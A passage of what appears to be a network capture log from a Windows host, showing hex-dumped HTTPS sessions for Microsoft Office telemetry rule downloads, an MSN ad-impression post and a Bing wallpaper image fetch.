2024-12-06 23:15:50 UTC	16384	IN	Data Raw: 93 8e 52 10 50 fa 70 40 fe b5 20 bd 47 70 22 0c ce 4f 46 5e 05 58 59 ef 99 7c 99 22 28 bd 9c f4 1f 95 1c 92 be e2 94 db 20 87 46 31 26 4c 98 56 3d 09 a8 75 14 86 08 de d0 f9 86 53 f7 3c b3 c6 7b 64 67 04 54 37 ff 00 69 fb 41 4f 98 b0 ee 09 20 fb 8a 6d a3 66 e7 17 24 c7 81 90 48 e4 9e dd 6b 78 c2 da dc 87 26 c8 20 b7 99 5c 19 cc 88 bd 09 1c 9c 77 ab 12 4b a5 c5 20 0d 73 70 cb dc 79 58 23 f1 c9 06 ae c9 7e b1 49 b6 55 05 58 70 c3 07 f4 a4 92 6d 35 f0 4c 5b 8e 7b 2e 05 39 4a ab d8 17 2f 50 86 dd 26 53 25 8c 9e 7c 63 d7 87 1f ef 2f f8 54 78 70 d8 70 c3 04 82 0d 5a 74 b7 48 d5 ed 43 23 9e e3 d2 a7 82 60 57 6c e9 1c 98 e0 e0 72 3e b4 95 47 6d 51 2e 2b a1 47 e6 2b b7 76 45 39 50 b2 93 9c 62 ad 5c 5a 23 c6 65 b7 e5 40 e7 b3 01 ee 3b d5 58 e0 98 c9 85 c8 dd ed 5a Data Ascii: RPp@ Gp"OF^XY\|"( F1&LV=uS<{dgT7iAO mf$Hkx& \wK spyX#~IUXpm5L[{.9J/P&S%\|c/TxppZtHC#`Wlr>GmQ.+G+vE9Pb\Z#e@;XZ
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: f0 2d 21 39 3c f3 ed 5e 16 4f 7c fe 75 f5 38 54 d6 1e 3e 87 93 8a d6 ab 1a c0 06 1c 16 52 72 40 fe 5c d3 99 70 cd 8d ca d8 e4 13 d4 7a 52 12 57 69 09 bb 04 9c 1f e7 4b bd 5a 4c 9c fc dc e0 0f 4a e8 39 5d c3 97 25 b9 38 e0 f3 c6 68 56 23 25 72 30 32 70 d8 fd 7b d3 a4 65 6d c3 f8 81 24 9c 63 19 f5 a8 db 1b 00 24 ed 07 38 23 d7 d2 88 c6 e0 de 9b 0e 62 7d 02 fb 67 1c 7e 3d 4d 20 73 ce 46 32 7f ce 69 7c d7 3e 9b b9 19 23 f4 f6 34 05 03 8d dd ba 81 9e 7e bd 28 e5 b6 e0 9e 9a a0 c0 1c 8c 93 e9 4e 42 c2 4c 0f 94 9f 7a 6c 4d f2 90 38 e7 1e 94 67 e5 a5 d4 1a 64 c4 81 22 92 0b 1f 6e 3f 1a b4 a7 e7 5c 74 c6 41 cd 52 5c 70 31 cf ad 59 b7 72 c5 41 fa 16 a7 28 ec 4d 34 b9 8f d2 df d8 77 78 fd 94 3c 1d e6 c7 b4 88 6e 36 f3 f7 97 cf 7c 37 e3 5e b5 1f 0d c7 15 e4 bf b0 dc Data Ascii: -!9<^O\|u8T>Rr@\pzRWiKZLJ9]%8hV#%r02p{em$c$8#b}g~=M sF2i\|>#4~(NBLzlM8gd"n?\tAR\p1YrA(M4wx<n6\|7^

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:50 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:50 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:50 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 3e1c70e6-d01e-0028-76c3-457896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231550Z-1746fd949bdkw94lhC1EWRxuz400000004yg00000000r4e0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:50 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:50 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:50 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0b61f7bb-f01e-0052-4103-489224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231550Z-r1cf579d7789trgthC1EWRkkfc000000018000000000cp1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:51 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:50 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:51 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:50 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: b9410fe1-901e-0015-5b03-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231550Z-r1cf579d778w59f9hC1EWRze6w0000000110000000001291 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:51 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:50 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:50 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: d1823508-801e-008c-16d3-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231550Z-1746fd949bdjrnwqhC1EWRpg2800000004yg00000000a5qf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:51 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:51 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:51 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:51 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 18148ef3-001e-002b-2504-4899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231551Z-r1cf579d778kr8xrhC1EWRfkun000000015g000000004c3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 23:15:51 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49846	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:51 UTC	265	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1513 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 23:15:51 UTC	1513	OUT	Data Raw: 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 54 49 44 3d 31 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 36 31 35 36 30 39 26 42 49 44 3d 31 34 31 39 31 33 37 31 39 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 55 26 54 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 52 45 51 41 53 49 44 3d 46 44 32 39 41 31 37 46 46 43 35 32 34 34 30 42 42 38 33 33 39 41 34 45 42 39 45 33 32 31 42 46 26 41 53 49 44 3d 66 36 38 32 39 37 64 38 33 32 35 30 34 63 63 36 39 33 66 65 39 63 39 62 38 62 38 39 35 37 66 37 26 54 49 4d 45 3d 32 30 32 34 31 32 30 36 54 32 33 31 35 33 36 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 34 31 32 30 36 54 32 33 31 35 30 37 26 4d 41 5f 53 63 6f 72 65 3d 30 26 26 44 53 5f 45 56 54 49 44 3d 46 44 32 39 41 31 37 Data Ascii: PID=426081542&TID=1&CID=128000000001615609&BID=1419137191&PG=PC000P0FR5.0000000IRU&TPID=426081542&REQASID=FD29A17FFC52440BB8339A4EB9E321BF&ASID=f68297d832504cc693fe9c9b8b8957f7&TIME=20241206T231536Z&SLOT=1&REQT=20241206T231507&MA_Score=0&&DS_EVTID=FD29A17
2024-12-06 23:15:51 UTC	394	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 23:15:51 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49847	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:51 UTC	375	OUT	GET /th?id=OADD2.10239360492575_1SSJ82L6CB3K86OHJ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 23:15:51 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 802236 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B225A49F8367492294A803A4F023D7B0 Ref B: EWR30EDGE0322 Ref C: 2024-12-06T23:15:51Z Date: Fri, 06 Dec 2024 23:15:51 GMT Connection: close
2024-12-06 23:15:51 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 20 0c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 33 3a 32 36 20 32 31 3a 35 39 3a 35 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF`` ExifMM*bj(1r2i``Adobe Photoshop 24.2 (Windows)2023:03:26 21:59:588
2024-12-06 23:15:51 UTC	16384	IN	Data Raw: ab 5e eb 7a ff 00 c5 2d 3a 6b ab 7b 48 af 6e 6e fc 39 a2 dc c3 bf cc d9 bd e2 4d ad bb 67 c9 b1 3e 4f ef 62 be 65 d4 2f 1e e2 cf 74 d6 91 5b cf e6 4b f6 8f dd 6c 67 66 7f e2 5e 89 b2 bd 2a 98 fa f5 ee ea 3d 7e eb 1e 6e 0b 23 c1 61 3d ca 31 f7 74 df 5b be ed f5 ed 6d bc 8e db c3 5a de 85 63 f1 77 4d f1 54 3a 45 d5 e4 36 fa 8c 37 7f d9 d1 cb bf fd f8 fe 6f 9b 77 99 f7 2b eb cd 72 d2 7f 19 69 3a 2f 8b bc 1d 79 a7 db ea 31 ec 92 ca f7 52 b5 7f f8 f5 6f f5 b6 af fc 4b 9f fd 0a be 60 fd 9d 7e 2d 78 6b c2 1a 7f f6 5f 8c 7c 37 69 7b 0d bc a9 3d 96 a3 15 a4 3f 6b 81 d7 e6 f9 a4 fe 2d bd ab e8 db 8f 8d de 0d 87 c2 b6 fe 20 d7 bf b6 b4 bf b6 49 fb bb 2b db 0f f4 b9 11 be e4 de 5e ef f5 6d d8 d7 34 9b ba 94 4e c7 4d c5 b8 cf 65 a2 eb 7e c5 ff 00 8c 1e 1a f1 7e b5 a7 Data Ascii: ^z-:k{Hnn9Mg>Obe/t[Klgf^*=~n#a=1t[mZcwMT:E67ow+ri:/y1RoK`~-xk_\|7i{=?k- I+^m4NMe~~
2024-12-06 23:15:51 UTC	16384	IN	Data Raw: c5 02 5a 47 f6 58 7c b8 24 8d 3c b8 fc ad 9f f8 ed 58 f2 bf b9 53 26 af a1 51 82 b6 a7 94 fc 78 6f ec d8 fc cd 77 4e 97 50 f0 7e a1 1f d9 35 18 ec ad 77 dc 5b ca 5f e5 97 cc fe 1c 7d ef fc 76 bc 43 e1 1f 8c ac 7c 35 e2 6b af 08 df 6a e4 68 32 5e bd c6 9b aa c9 0f ef 6d 2e 97 fd 5c fb 7f bb 27 dd 7a fb 17 ca 8f ce ff 00 9e 9f f3 d2 3f f9 e9 5e 49 af fc 34 f8 7d 15 ad e7 85 35 48 65 b9 d5 7c 43 72 f2 59 5c 5b 5a 3c b7 16 11 37 dc 95 bf bb 1c 6d f2 fa 56 9c d7 b3 4e cd 04 63 18 c5 c2 6b dd 97 e1 e6 bd 0e 6b e3 5f 80 6f 6f fe 23 68 1e 31 d1 65 bb b3 b8 b8 8d 12 4b 9d 34 be eb 79 7f 82 e1 25 4f b9 f2 fe 7b 2b d8 3e 1b fc 7a f1 d6 9b f0 e7 ed 3e 33 f0 b4 5e 36 8e cc 3c 7f da 5a 05 d2 25 dc f1 2f f1 cb 6a ff 00 f2 d3 d7 6f fd f3 5e 5f e1 9d 6e ef e1 c7 88 34 af Data Ascii: ZGX\|$<XS&QxowNP~5w[_}vC\|5kjh2^m.\'z?^I4}5He\|CrY\[Z<7mVNckk_oo#h1eK4y%O{+>z>3^6<Z%/jo^_n4
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: 91 d6 ca 49 ec 73 ca 2d 32 08 2a e2 35 32 38 b6 55 88 d6 81 c6 0e c5 8b 59 76 56 8c 17 32 25 63 7d ca 96 39 6b 19 42 ec da 9d 44 8e 86 3b 9d d4 ef 3e b1 a0 9f f8 ea 5f 3e b2 f6 7e 46 fe d5 5b 53 4a 49 3c da af 23 6c aa 7f 6a a4 8e e6 37 a6 a0 c2 53 57 b9 77 76 c9 ab 5b 47 97 7d 60 f9 bb fe e5 6b f8 67 e7 ba 8f 7f fa ba ce a4 7d d2 a9 3b ca c7 51 a6 c7 27 9d e5 d7 6f e1 c6 df 0f 97 ff 00 2d 23 ae 16 fb 50 92 2b bb 64 83 fe 59 d7 a2 78 7d a0 96 d2 39 d3 fe 5a 57 8f 8a bf 2a f3 3d fc 0d 9c da 4c d4 7f f5 35 ca f8 bb 4c 83 50 87 65 ec 30 dc 47 5d 6f 9b 58 de 26 f9 2d 64 74 ae 1a 32 6a 6a c7 a1 8a 82 94 2c cf 0b ba d2 be cf fb 87 ff 00 96 72 57 3f ae 47 1a 4d b2 ba 8f 18 eb 51 b6 ad 24 1f f2 d2 3a e5 f5 86 8e 5f b9 5f 5b 41 ca ca e7 c4 e2 7d 9d 9a 46 5c eb be Data Ascii: Is-2528UYvV2%c}9kBD;>_>~F[SJI<#lj7SWwv[G}`kg};Q'o-#P+dYx}9ZW=L5LPe0G]oX&-dt2jj,rW?GMQ$:__[A}F\
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: 0b ea de 25 b6 f1 37 87 2f 3c b8 35 db 7f b5 dc e9 52 44 ea fa 2c bf f2 d2 1f 4f 2b 7f cd 1e 3f 86 b2 3c 47 04 8b 67 a7 59 5c de c5 ba d2 c9 fe cd 1d bc af 37 97 f3 ee d8 cb ff 00 2c f7 7d ff 00 ee d7 67 e1 1d 05 3c 73 e0 4b 9f 09 20 b5 5f 12 e8 37 29 3e 8b 71 8f 2b ed 76 b2 bf ef 92 79 7f ba bf 23 a6 ef bb eb 55 f4 ad 09 35 af 0a c9 e1 2b 1f 05 ea ba 87 8e 7c 3b 7a ef 25 cd 95 d7 9d 0d c5 8a bf ce 9b 17 fb bd 99 6a 23 ee 47 97 b6 9f f0 59 a7 3a 9b 4e 2d 69 fd 2f eb cc e2 fc 2b a2 a6 b7 75 7d 17 db 2d 6c fe cf 65 35 dc 7f 69 ff 00 96 9b 3f 81 7f da ac cf f5 b1 ec 7f de 55 ed 6a da 4d 33 c4 57 16 66 1f b3 cd 6f 70 f1 f9 7e 6e ff 00 2d bf bb e6 2f de a8 72 7f 79 fd f9 3f d6 56 8d 6a 1c cf 7e 87 6b f0 fd 0f 8b f4 6f f8 44 bf b4 7f b3 bc 45 6f b1 f4 69 64 97 Data Ascii: %7/<5RD,O+?<GgY\7,}g<sK _7)>q+vy#U5+\|;z%j#GY:N-i/+u}-le5i?UjM3Wfop~n-/ry?Vj~koDEoid
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: e6 ff 00 b2 f5 ea 5e 22 9e d3 e2 57 c0 ab 1f 1a 6b 5a 7d d5 b6 a3 e0 dd 56 2d 27 5a bd d2 6d 51 2d e7 b2 b8 fd e7 da e4 8f a2 cd bf 86 db f7 b7 d7 56 22 93 8c d3 6f 47 f9 f4 33 a1 35 3a 4f d3 a1 f6 8f 80 fc 3d e1 db 4f 0c e8 1e 05 d5 e0 d0 6c f5 5b 3d 36 24 97 41 b2 ba 57 fb 3b 94 f9 d9 63 0c 37 fc cb cc 8d 5e 5d f0 97 e2 0e 85 73 e0 3f 18 78 77 c4 7a 6e 9f e0 5f b7 6b 3a 8d 86 ab 6d e7 bd a5 f7 98 d6 db a4 99 17 66 d6 9d a3 4f e1 d8 8b fc 3f 7a be 77 f8 7b 69 a3 c9 e2 af 08 e9 76 d7 f7 9a 1d d5 e5 c3 df eb 5e 2e b2 bc fb 0b db e9 ea 9f bc 8e 04 dd f2 47 d7 32 ff 00 1f f0 ad 6e 6b 1a 77 85 7e 28 7c 72 93 5b d4 fc 49 a0 78 4b c1 3a d4 b3 5d 5c 01 aa a4 b3 46 96 5f b9 46 b9 f3 3e e4 d3 fd e5 ff 00 67 fb d5 e7 7d 4d 46 72 8c a4 da df 6d 9f a5 de ff 00 33 b5 Data Ascii: ^"WkZ}V-'ZmQ-V"oG35:O=Ol[=6$AW;c7^]s?xwzn_k:mfO?zw{iv^.G2nkw~(\|r[IxK:]\F_F>g}MFrm3
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: 6b 9e 0e 92 da 04 80 49 25 a2 43 fd a5 6e bf f2 d7 ca 75 f3 2d ff 00 ba 3c d6 ff 00 80 d7 76 1e 70 c3 49 aa ca d1 69 f4 f4 b5 91 cb 88 84 b1 34 d7 b2 97 be ad d7 ef b9 ce f8 c3 e2 9f 8a 7e 23 db 35 cd c5 bf f6 17 c3 fd 1f 5e 4b 1d 6b 5d 87 50 1f 67 bb 89 77 7e f0 bb 22 f9 b1 34 9e 5f ca 9f de db d5 eb d9 7c 4d aa 68 5e 05 f8 3a 4d ac f0 e8 5a 6e 9d 1b de 5e 5b db 69 e8 8f 77 6b fe b2 7f b3 5b b3 7c 9e 66 ff 00 f8 0e 7a 66 bc 4b e3 25 9e 8f ad ea 9e 13 f8 05 a4 f8 76 2d 0f 44 d4 35 28 64 8a de c6 e9 e5 b8 b7 b7 59 a4 dd 34 bd 63 cc 8b e6 3a fc cf f7 f7 3d 27 c6 6b df 06 5d 78 6f c7 ba d7 8c ad 75 0d 4a 6d 47 56 93 49 f0 8e 9c 62 79 96 cd 74 ef dd 35 d4 12 30 3e 52 bc bf eb 65 5f f7 07 cd 5c ef 0f 0a ae 94 12 b2 7a d9 6f 6b a4 9f 9b df ee 3a 29 e2 1d 35 52 Data Ascii: kI%Cnu-<vpIi4~#5^Kk]Pgw~"4_\|Mh^:MZn^[iwk[\|fzfK%v-D5(dY4c:='k]xouJmGVIbyt50>Re_\zok:)5R
